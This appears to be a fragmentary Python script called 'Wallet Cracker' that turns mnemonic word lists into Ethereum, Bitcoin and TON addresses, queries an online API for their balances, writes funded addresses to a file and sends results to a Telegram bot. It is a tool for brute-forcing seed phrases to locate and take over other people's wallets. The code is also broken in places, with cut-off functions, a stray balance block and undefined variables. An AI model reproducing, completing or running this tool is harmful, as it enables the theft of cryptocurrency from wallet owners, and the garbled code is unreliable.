Wallet Cracker
Wallet Cracker
conv = Convertor()
gen = Generator()
eth = Ethereum()
btc = Bitcoin()
def generate_ethereum_address(words):
words_tuple = tuple(words)
phrase = ' '.join(words_tuple)
privatekey = conv.mne_to_hex(phrase)
eth_address = eth.hex_addr(privatekey)
return eth_address
def generate_BTCereum_address(words):
phrase = ' '.join(words)
privatekey = conv.mne_to_hex(phrase)
btc_address = btc.hex_addr(privatekey, "p2pkh")
return btc_address
def generate_toncoin_address(words):
_mnemonics, pub_k, priv_k, wallet = Wallets.from_mnemonics(mnemonics=words,
version=WalletVersionEnum.v4r2, workchain=0)
ton_address = wallet.address.to_string(is_user_friendly=True)
return ton_address
@backoff.on_exception(backoff.expo,
(TimeoutError, aiohttp.ClientError),
max_tries=3)
async def check_balance_ethereum(session, address):
if address in balance_cache:
return balance_cache[address]
url = f'https://ethereum.atomicwallet.io/api/v2/address/{address}'
timeout = aiohttp.ClientTimeout(total=30) # ثانیه۳۰ افزایش زمان تایماوت به
try:
async with session.get(url, timeout=timeout) as response:
data = await response.json()
if data['txs'] > 0:
balance_wei = int(data['balance'])
balance_eth = balance_wei / 10**18
balance_cache[address] = balance_eth
return balance_eth
return 0
except asyncio.TimeoutError:
print(colored("dar hale talash mojadad ...", "yellow"))
return 0
except Exception as e:
print(colored(f"khata dar baresi mojodi {e}", "red"))
return 0
if data['txs'] > 0:
balance_wei = int(data['balance'])
balance_btc = balance_wei / 100000000
return balance_btc
else:
return 0
url = f'https://api.telegram.org/bot{bot_token}/sendMessage'
data = {
'chat_id': chat_id,
'text': message,
'parse_mode': 'HTML'
}
=====================================
"""
f.write(wallet_info)
timeout = aiohttp.ClientTimeout(total=30)
live_counter_list = [0]
dead_counter_list = [0]
balanced_addresses = []
if len(balanced_addresses) > 0:
filename = 'found_wallets.txt'
with open(filename, 'a') as file:
file.write('\n'.join(balanced_addresses))
print(colored(f'{len(balanced_addresses)} Balanced addresses saved
to {filename}', 'yellow'))
balanced_addresses = []
if __name__ == "__main__":
print("SorbiTools")
asyncio.run(main())